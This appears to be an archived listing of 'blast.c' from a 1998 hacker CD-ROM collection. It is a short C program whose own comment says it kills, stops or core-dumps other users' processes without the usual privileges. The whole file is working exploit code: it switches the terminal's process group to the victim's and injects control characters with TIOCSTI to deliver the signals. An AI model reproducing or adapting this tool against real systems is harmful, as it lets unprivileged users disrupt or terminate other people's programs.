home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / blast.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  2.2 KB  |  94 lines

  1.  
  2. /*
  3.  * Blast: program to kill, core dump, or stop other programs, even without
  4.  * the usual priviledges. Shows off bugs involving process group handling.
  5.  * David I. Bell. (alias DBell)
  6.  */
  7.  
  8. #include <sgtty.h>
  9. #include <stdio.h>
  10.  
  11. main(argc, argv)
  12.     char **argv;
  13. {
  14.     register char    *str;            /* argument */
  15.     register char    *cp;            /* character to type */
  16.     register int    pid;            /* pid to blast */
  17.     int    pgrp;                /* his process group */
  18.     struct    sgttyb    sb;            /* old and new tty flags */
  19.     struct    sgttyb    nsb;
  20.     struct    tchars    tc;            /* tty chars */
  21.     struct    ltchars    lc;
  22.  
  23.         if (argc < 2) {
  24.         fprintf(stderr, "usage: blast [-ksd] pid ...\n");
  25.         exit(1);
  26.     }
  27.     ioctl(0, TIOCGETP, &sb);        /* turn off echoing */
  28.     nsb = sb;
  29.     nsb.sg_flags &= ~ECHO;
  30.     ioctl(0, TIOCSETN, &nsb);
  31.     if (ioctl(0, TIOCGETC, &tc)) {        /* get our tty chars */
  32.         perror("getc");
  33.         goto done;
  34.     }
  35.     if (ioctl(0, TIOCGLTC, &lc)) {        /* and local chars */
  36.         perror("lgetc");
  37.         goto done;
  38.     }
  39.     argv++;    
  40.     cp = &tc.t_intrc;            /* default is kill */
  41.     sigsetmask(-1);                /* save ourselves */
  42.     while (argc-- > 1) {
  43.         str = *argv++;
  44.             if (*str == '-') {      /* an option */
  45.             switch (str[1]) {
  46.                 case 'k':    /* kill process */
  47.                     cp = &tc.t_intrc;
  48.                     break;
  49.                 case 's':    /* stop pprocess */
  50.                     cp = &lc.t_suspc;
  51.                     break;
  52.                 case 'd':    /* dump process */
  53.                     cp = &tc.t_quitc;
  54.                     break;
  55.                 default:    /* illegal */
  56.                     fprintf(stderr, "bad option\n");
  57.                     goto done;
  58.                 }
  59.                 continue;
  60.             }
  61.             pid = 0;        
  62.             while (*str) {        /* read pid number */
  63.                 pid = pid * 10;
  64.                 if ((*str < '0') || (*str > '9')) {
  65.                     fprintf(stderr, "bad number\n");
  66.                     goto done;
  67.                 }
  68.                 pid += (*str++ - '0');
  69.             }            
  70.             pgrp = getpgrp(pid);    /* get victim's process group */
  71.             if (pgrp < 0) {
  72.                 perror("getpgrp");
  73.                 goto done;
  74.             }
  75.             if (ioctl(0, TIOCSPGRP, &pgrp)) {   /* set tty process group */
  76.                 perror("ttyspgrp");
  77.                 goto done;
  78.             }
  79.             if (setpgrp(0, pgrp)) {        /* set my own process group */
  80.                 perror("spgrp");
  81.                 goto done;
  82.             }
  83.             if (ioctl(0, TIOCSTI, cp)) {    /* stuff the char on my tty */
  84.                 perror("sti");
  85.                 goto done;
  86.             }
  87.     }
  88.  
  89. done:    ioctl(0, TIOCSETN, &sb);            /* reset echoing */
  90. }
  91.             
  92.  
  93. ...
  94.